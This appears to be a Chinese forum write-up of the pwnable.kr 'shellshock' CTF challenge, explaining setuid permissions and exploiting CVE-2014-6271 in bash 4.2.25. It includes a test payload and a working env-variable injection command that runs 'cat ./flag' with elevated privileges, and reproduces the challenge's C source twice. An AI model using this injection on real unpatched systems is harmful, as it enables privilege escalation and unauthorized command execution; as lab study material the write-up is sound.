首页
社区
课程
招聘
[分享]pwnable.kr shellshock day8
发表于: 2021-1-9 20:34 9577

[分享]pwnable.kr shellshock day8

2021-1-9 20:34
9577


题目暗示使用 bash 的一个漏洞


flag 文件只对创建者 root 和 shellshock_pwn 可读,对我们的登录用户 shellshock 不可读。shellshock 文件对有所有用户都开放读和执行权限,而且权限里面有 s,因此普通用户在执行这个文件时会被赋予 root 权限。

基础知识
有效的组识别码用来决定进程执行时组的权限。
int setresuid(uid_t ruid, uid_t euid, uid_t suid);
int setresgid(gid_t rgid, gid_t egid, gid_t sgid);
参数依次是下面三个用户/组标识符:

源码相对简单,setresuid(getegid(), getegid(), getegid()); 和 setresgid(getegid(), getegid(), getegid()); 是将进程的 real user ID,real group ID,effective user ID,effective group ID, saved set-user-ID,saved set-group-ID 都设置为执行目前进程有效组识别码。所以我们刚开始启动程序时,我们对程序的权限与 other 相同,即 r+x,在执行 setresuid() 和 setresgid() 后我们对程序的权限与 shock_pwn 相同,即 r+s,所以此时我们用于对 flag 文件的读权限。下一步是想办法执行 cat ./flag

题目暗示会用到 bash 的漏洞,所以先查看源代码中使用的 bash 版本号
./bash --version

获得 bash 版本号为 4.2.25

直接搜索 bash 4.2.25 漏洞,发现 CVE-2014-6271 符合我们的要求,而且漏洞名称就是 Shellshock,与题目名称相同。

首先因为 bash 中的自定义函数,只需要函数名就能够调用该函数,如:

所以我们可以构造检测的payload

环境变量:

产生此错误的主要原因在于在输入的过滤中没有严格限制边界,也没有判断参数是否合法。

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' ./bash -c "echo test""

输出了 Vulnerable CVE-2014-6271 所以漏洞存在

env x='() { :;}; bash -c "cat ./flag "' ./shellshock
记得加上 bash -c 否则会报错 /home/shellshock/bash: cat: No such file or directory
红框内为 flag

#include <stdio.h>
int main(){
     setresuid(getegid(), getegid(), getegid());
     setresgid(getegid(), getegid(), getegid());
     system("/home/shellshock/bash -c 'echo shock_me'");
     return 0;
}
#include <stdio.h>
int main(){
     setresuid(getegid(), getegid(), getegid());
     setresgid(getegid(), getegid(), getegid());
     system("/home/shellshock/bash -c 'echo shock_me'");
     return 0;
}
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-1-10 13:49 被cease2e编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 4022
活跃值: (3067)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
2021-1-10 10:15
0
游客
登录 | 注册 方可回帖
返回
//